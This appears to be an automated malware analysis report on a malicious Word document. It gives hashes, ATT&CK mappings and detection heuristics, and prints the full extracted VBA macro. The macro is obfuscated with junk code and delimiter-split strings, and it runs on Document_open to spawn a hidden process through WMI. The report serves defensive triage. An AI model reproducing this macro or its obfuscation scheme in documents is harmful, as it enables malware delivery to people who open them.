Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ed6821541e7dc924…

MALICIOUS

Office (OLE)

240.1 KB Created: 2020-01-20 06:39:00 Authoring application: Microsoft Office Word First seen: 2026-06-04
MD5: b18d73a6ad6af47927e51c5673988c72 SHA-1: 8bebdd01950d393f1acc1eccb4ef4cadc0e5274f SHA-256: ed6821541e7dc9244cad854fa6e052300ffbf15efbebe5f1e77c819d3d3b86ef
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a `Document_open` macro. This macro is designed to execute automatically when the document is opened, indicating an attempt to compromise the user's system. The obfuscated VBA code suggests the macro's purpose is to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Zdhcyxcapis = GetObject(Vwuuvtnxmvk)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5142 bytes
SHA-256: c1368fc7b136e459d20a2f2992951c7d0e4540afb54d0bf16c24a88ef89cf660
Detection
ClamAV: No threats found
Obfuscation or payload: likely
104 of 172 identifiers look randomly generated (e.g. 'i83hdDD83hdDDnm83hdDD83hdDD83hdDDg83hdDD'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vrsgqpmsrolsl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Nmscrmiqcab
End Sub

Attribute VB_Name = "Fvmtuoszevw"
Attribute VB_Base = "0{4ABFE74C-DE60-4B27-B7AE-BDEF0B383D2E}{38E36E26-3F90-4353-AF6C-12592FEFB644}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Gwfygkvlvt"
Function Sopymahixr()
   If Blgdfgmeesxoj > 234 Then
Select Case Uolsfbqjkaz
Case 1
Yjlrwjocyhjvf = Sin(324)
Stotiegmfcfw = CInt(Wcglqgvg)
Zhnvgcxavyrq = Int(2) + 44
Mqrxfoqne = CDate(71)
Edkoyxmn = Sin(4235) + Sin(4235)
End Select
End If
Pqwvtvgalpk = ChrW(wdKeyP)
   If Kyyovawm > 234 Then
Select Case Hyfnuppwrshh
Case 1
Ppzoatnncgng = Sin(324)
Krwrinwzizg = CInt(Bqytdqhyfbh)
Etwzzoybma = Int(2) + 44
Yuuqhaihcmx = CDate(71)
Kpkoeqpfai = Sin(4235) + Sin(4235)
End Select
End If
Nwdvbkfzutcay = Pqwvtvgalpk + Fvmtuoszevw.Xmexyvfsnc + Fvmtuoszevw.Sqtvycpfwrj
   If Buqjeukda > 234 Then
Select Case Fkqcfozjclfqh
Case 1
Vtstzorw = Sin(324)
Fkbpkqzhkl = CInt(Lmokumuv)
Zdzqlhsjoo = Int(2) + 44
Zeyusufjwxt = CDate(71)
Feotebjhw = Sin(4235) + Sin(4235)
End Select
End If
losd = Fvmtuoszevw.Pilvzcesmz.GroupName
Cyuapcwrcsiz = Split(Nwdvbkfzutcay + Trim(losd), "83hdDD")
   If Kjwujnvlqxlln > 234 Then
Select Case Ckcqznrpnt
Case 1
Brnhhoow = Sin(324)
Ohyylugofnt = CInt(Cgmxlstibbmu)
Pewzvcov = Int(2) + 44
Acxjzovidzlb = CDate(71)
Cdnfnglerrqk = Sin(4235) + Sin(4235)
End Select
End If
Sopymahixr = Pnvvmgua + Join(Cyuapcwrcsiz, "") + Pnvvmgua
   If Kmhnyhngro > 234 Then
Select Case Ecagsmtttob
Case 1
Pgymestm = Sin(324)
Iqjqtmiyffjoe = CInt(Fwplpvkol)
Ounwichh = Int(2) + 44
Ivagkqwnrab = CDate(71)
Yvdbhayby = Sin(4235) + Sin(4235)
End Select
End If
End Function
Function Nmscrmiqcab()
d = "i83hdDD83hdDDnm83hdDD83hdDD83hdDDg83hdDD83hdDDmt83hdDD" + ChrW(wdKeyS) + "83hdDD:w83hdDD83hdDDin83hdDD383hdDD83hdDD2_83hdDD" + Fvmtuoszevw.Mepbqecrfigl + "83hdDDro83hdDD83hdDDce83hdDDs83hdDD83hdDDs"
   If Tymhqexliogpr > 234 Then
Select Case Jfyfnmfpqhiav
Case 1
Qvkvqajaca = Sin(324)
Fmfwpyjpv = CInt(Bjojwzie)
Zxlfvhyaewe = Int(2) + 44
Acllsblhn = CDate(71)
Jmcqnbtwhrfp = Sin(4235) + Sin(4235)
End Select
End If
E = "83hdDD"
   If Zqxkpxpffc > 234 Then
Select Case Yozxphddmww
Case 1
Sobbucval = Sin(324)
Gsypaugqcdvb = CInt(Zjyxxcugbwin)
Zuqncdqwin = Int(2) + 44
Pfofxmjjvtwd = CDate(71)
Aarcgnqvq = Sin(4235) + Sin(4235)
End Select
End If
Rnfnuyvnr = Split("83hdDD83hdDDw83hdDD83hdDD83hdDD" + d + T, E)
   If Ildwefoextgj > 234 Then
Select Case Vxiceclxrtcai
Case 1
Wusfublqhbyew = Sin(324)
Dyaocqedmv = CInt(Uktewghbyn)
Vjgbagyplgp = Int(2) + 44
Tffsrgkorrgnw = CDate(71)
Ollpultsjdcgx = Sin(4235) + Sin(4235)
End Select
End If
Vwuuvtnxmvk = Join(Rnfnuyvnr, "")
   If Sidllmyqzoi > 234 Then
Select Case Stzvjghmat
Case 1
Nvaluvab = Sin(324)
Woqcuvbh = CInt(Scwwnksipdro)
Xqyfesirh = Int(2) + 44
Legllktbnklzd = CDate(71)
Crmzjhsied = Sin(4235) + Sin(4235)
End Select
End If
Set Zdhcyxcapis = GetObject(Vwuuvtnxmvk)
   If Zvwbwvhmjvm > 234 Then
Select Case Rglbwtoug
Case 1
Achfuvqlfrkz = Sin(324)
Bpbxatcibv = CInt(Vaxvwspd)
Nbrofaspggmp = Int(2) + 44
Nwgmqram = CDate(71)
Zpojusjwlhcz = Sin(4235) + Sin(4235)
End Select
End If
Readskblupux = Fvmtuoszevw.Zetmzqrqu.Tag
Edfpliyncv = Vwuuvtnxmvk + ChrW(wdKeyS) + Fvmtuoszevw.Nzbjbfhyb.Tag + Readskblupux
   If Hbyaijwzxuy > 234 Then
Select Case Yqqcfmnbiukw
Case 1
Dtzaqteub = Sin(324)
Nzwfcmfhlbdo = CInt(Ntoygodi)
Fxuhcpdpvksn = Int(2) + 44
Fiepofzfkydap = CDate(71)
Gnevcafsxfvx = Sin(4235) + Sin(4235)
End Select
End If
Ltsxwlydljd = Edfpliyncv + Fvmtuoszevw.Mepbqecrfigl
   If Exrxdtfw > 234 Then
Select Case Nhvqrizwslal
Case 1
Ujhalksqyumw = Sin(324)
Qqgaiooxfz = CInt(Iijscsixd)
Flyaxibeuw = Int(2) + 44
Cfzcafwdh = CDate(71)
Cjggstoog = Sin(4235) + Sin(4235)
End Select
End If
Set Nmscrmiqcab = GetObject(Ltsxwlydljd)
   If Ijmkritizmj > 234 Then
Select Case Xaepougdwwbmp
Case 1
Eksbqkxabmiea = Sin(324)
Nysnlrtgpdj = CInt(Mkyczwepti)
Aaccfqfdgi = Int(2) + 44
Bxgkddxhwlnq = CDate(71)
Fdwauqhbl = Sin(4235) + Sin(4235)
End Select
End If
Nmscrmiqcab. _
showwindow = False
   If Xaacjcderg > 234 Then
Select Case Qkgjnqkp
Case 1
Gcjhulsfp = Sin(324)
Dfecjmba = CInt(Wmziephmxqkc)
Ytchrlmqdane = Int(2) + 44
Eeioxmkpj = CDate(71)
Wltrvtbpkep = Sin(4235) + Sin(4235)
End Select
End If
Do While Zdhcyxcapis. _
Create(df & Sopymahixr, Qedhvmkdjc, Nmscrmiqcab, Bapaakra)
Loop
   If Aoohavjo > 234 Then
Select Case Ginlsvpxers
Case 1
Mrzsgpmusg = Sin(324)
Ymhfgjvf = CInt(Lkiyljhyiit)
Qacczswn = Int(2) + 44
Jtjisyhxbd = CDate(71)
Okiddmuyx = Sin(4235) + Sin(4235)
End Select
End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.